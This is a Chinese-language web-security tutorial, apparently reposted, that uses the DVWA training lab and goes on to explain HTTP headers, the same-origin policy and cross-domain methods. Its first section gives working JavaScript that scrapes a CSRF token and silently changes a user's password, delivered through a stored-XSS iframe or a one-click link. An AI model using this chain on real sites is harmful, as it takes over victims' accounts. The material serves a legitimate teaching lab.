网站跨域访问的问题 您所在的位置:网站首页 cdn 跨域问题 网站跨域访问的问题

网站跨域访问的问题

2023-07-12 16:59| 来源: 网络整理| 查看: 265

一、DVWA中处理CSRF的另一种手段 1、攻击手段

如果在192.168.112.188网站中创建一个HTML页面,在XSS DOM中进行调用,也是可以解决CSRF的High级问题。

var tokenUrl = 'http://192.168.112.188/dvwa/vulnerabilities/csrf/'; // 实例化XMLHttpRequest,用于发送AJAX请求 xmlhttp = new XMLHttpRequest(); var count = 0; // 当请求的状态发生变化时,触发执行代码 xmlhttp.onreadystatechange=function() { if(xmlhttp.readyState ==4 && xmlhttp.status==200){ // 取得请求的响应,并从响应中通过正则提取Token var text = xmlhttp.responseText; var regex = /user_token\' value\=\'(.*?)\' \/\>/; var match = text.match(regex); // alert(match[1]); var token = match[1]; // 发送修改密码的语法 var changeUrl = 'http://192.168.112.188/dvwa/vulnerabilities/csrf/?user_token='+ token+'&password_new=test888&password_conf=test888&Change=Change'; if (count == 0) { count = 1; // 只发送一次,否则会多次发送 xmlhttp.open("GET",changeUrl,false); xmlhttp.send(); } } }; xmlhttp.open("GET",tokenUrl, false); xmlhttp.send(); CSRF location.href="http://192.168.112.188/dvwa/vulnerabilities/xss_s/";

在High级XSS(Stored)的Name中提交一个iframe标签:

当用户点击到XSS(Stored)留言页面时,将自动修改其密码。

另外一种更加符合CSRF的“One Click“特性的操作方式,直接将超链接http://192.168.112.188/security/csrf.html发送给当前登录用户,

2、上述攻击手段存在的问题

上述攻击方式存在一个严重的问题,就是我们需要将 csrf.html 页面保存于被攻击服务器 192.168.112.188 上,很显然,这是不现实的,如果已经能达成这一目的了,说明我们已经取得了服务器超级管理员的权限,此时当然也不需要再进行什么 CSRF 攻击了。

所以我们应该,将上述 csrf.html 页面保存于攻击服务器上,进而实现攻击者可控,让用户去访问攻击服务器上的页面不就可以完成攻击

三、什么是跨域访问 1、HTTP请求头

(1)Host:表示当前请求要被发送的目的地host,仅包括域名和端口号。在任何类型请求中,request都会包含此header信息。

(2)Referer:Referer请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。它由协议+域名+查询参数组成(注意不包含锚点信息),所有类型的请求都包含此header。

(3)Origin:表示这个请求原始是在哪里发起的,包括当前请求的协议+域名,特别注意:这个参数一般只存在于CORS跨域请求(两个端口号不同或域名不同或使用的协议不同的请求称为跨域请求)中,非跨域请求没有这个header。

2、同源策略

同源策略(Same-Origin Policy,简称SOP)是一种约定,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。可以说Web是构建在同源策略基础之上的,浏览器只是针对同源策略的一种实现。不同源的客户端脚本(JavaScript、ActionScript)在没明确授权的情况下,不能读写对方的资源,比如浏览器在A网页设置的Cookie,B网页不能打开,除非这两个网页同源。它能帮助阻隔恶意文档,减少可能被攻击的媒介,比如CSRF攻击便受到同源策略的限制。

同源是指两个或多个网页同时满足三个相同条件,域名相同,协议相同,端口相同。

举例来说,一个网站:http://www.example.com/dir/page.html这个网址,协议是http://,域名是www.example.com,端口是80(http://www.example.com/dir2/other.html      同源 http://v2.www.example.com/dir/other.html    不同源(域名不同) http://www.example.com:81/dir/other.html    不同源(端口不同) https://www.example.com/dir2/other.html     不同源(协议不同)默认端口可以省略),下面哪个是同源网页?

 

在上述的实验中,攻击服务器上192.168.112.183上的csrf.html页面无法向正常服务器192.168.112.188上发送修改用户密码的请求,便是受到同源策略的限制所导致的。

在浏览器的下列标签,不受同源策略的影响:

   //加载js到本地执行       //加载图片     //css文件    //任意资源

 

3、跨域访问

在前后端分离的模式下,前后端的域名是不一致的,此时就会发生跨域访问问题。在请求的过程中回去数据一般都是post/get请求,所以,跨域问题出现,受浏览器同源策略的限制,要在浏览器中实现跨域访问,需要使用专门的解决方案。

4、如何跨域

(1)JSONP方案

(2)CORS方案

(3)WebSocket通信



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有